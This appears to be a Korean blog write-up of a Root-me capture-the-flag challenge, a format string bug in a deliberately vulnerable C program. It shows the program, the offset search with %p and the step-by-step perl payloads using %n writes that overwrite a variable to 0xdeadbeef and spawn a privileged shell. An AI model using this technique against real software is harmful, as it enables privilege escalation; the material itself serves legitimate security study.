1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
2.2. 분석
전형적인 fsb 문제이다.
코드에서 argv[1] 값을 받아들이며
check 함수의 주소와 argv[1]의 값을 출력해주고
check 변수의 값을 확인한 다음
다시 한번 fmt 변수의 값과 check 변수의 값을 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
snprintf 함수 사용 시 format string을 지정해주지 않아 format string bug가 발생한다.
3.2. 공격 준비
몇번째 %p에서 값이 출력되는지 확인해보자.
app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "AAAA","%p"x9'`
check at 0xbffffac8
argv[1] = [AAAA%p%p%p%p%p%p%p%p%p]
fmt=[AAAA0x80485f1(nil)(nil)0xc20xbffffc140xb7fe14490xf63d4e2e0x40302010x41414141]
check=0x4030201
9번째에서 발생하였다.
변경해야할 주소는 check 변수의 주소이며, 변경해야할 값은 0xdeadbeef이다.
fsb에서 변경할 값은 4,2,1byte로 삽입할 수 있는데, 1byte씩 끊어서 넣어보면 전체 페이로드는 대략 아래와 같아지며
테스트삼아 입력해보면 check 변수의 위치가 달라진 것을 확인할 수 있다.
app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "AAAA","BBBB","AAAA","BBBB","AAAA","BBBB","AAAA","BBBB","%p"x7,"%c","%n","%c","%n","%c","%n","%c","%n"'`
check at 0xbffffaa8
argv[1] = [AAAABBBBAAAABBBBAAAABBBBAAAABBBB%p%p%p%p%p%p%p%c%n%c%n%c%n%c%n]
Segmentation fault
이유는 snprintf에서 fmt 변수의 길이가 입력받는 값에 따라 변하기 때문에 check 변수의 위치도 달라진 것이다.
해당 위치로 다시 한번 페이로드를 변경해서 넣어보면 아래와 같다.
app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%c","%n","%c","%n","%c","%n","%c","%n"'`
check at 0xbffffaa8
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%c%n%c%n%c%n%c%n]
You are on the right way !
fmt=[]
check=0x59585756
변경할 값을 계산하기 위해 deadbeef를 1byte씩 끊어 10진수로 표현해보면
de = 222
ad = 173
be = 190
ef = 239
가 된다.
제일 마지막 ef부터 입력해야할 값을 계산해보면
우선 페이로드 기준으로 입력된 값이 check=0x59585756으로 56 byte가 사용되었으므로
ef => 239 - 0x56 + 1 = 239 - 86 + 1 = 154
be => be - ef => 1be - ef = 446 - 239 = 207
ad => ad - be => 1ad - be = 429 - 190 = 239
de => de - ad = 222 - 173 = 49
가 된다.
다시 한번 페이로드를 변경해서 시도하면
./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
check at 0xbffffa98
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%154c%n%207c%n%239c%n%49c%n]
fmt=[▒▒▒▒BBBB▒▒▒▒▒▒]
check=0x4030201
마찬가지로 페이로드 길이가 변경되었기에 check 주소도 변경되었다.
이를 기준으로 다시 변경해서 시도.
4. exploit
app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\x98\xfa\xff\xbf","BBBB","\x99\xfa\xff\xbf","BBBB","\x9a\xfa\xff\xbf","BBBB","\x9b\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
check at 0xbffffa98
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%154c%n%207c%n%239c%n%49c%n]
fmt=[]
check=0xdeadbeef
Yeah dude ! You win !
app-systeme-ch14-cracked@challenge02:~$ id
uid=1214(app-systeme-ch14-cracked) gid=1114(app-systeme-ch14) groups=1114(app-systeme-ch14),100(users)
app-systeme-ch14-cracked@challenge02:~$ cat .passwd
-------------- #플래그는 삭제
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - Stack buffer overflow basic 3 (0) | 2022.07.07 |
---|---|
[App-System] ELF x86 - Race condition (0) | 2022.07.07 |
[App-System] ELF x64 - Stack buffer overflow - basic (0) | 2022.07.04 |
[App-System] ELF x86 - Format string bug basic 1 (0) | 2022.07.03 |
[App-System] ELF x86 - Stack buffer overflow basic 2 (0) | 2022.07.03 |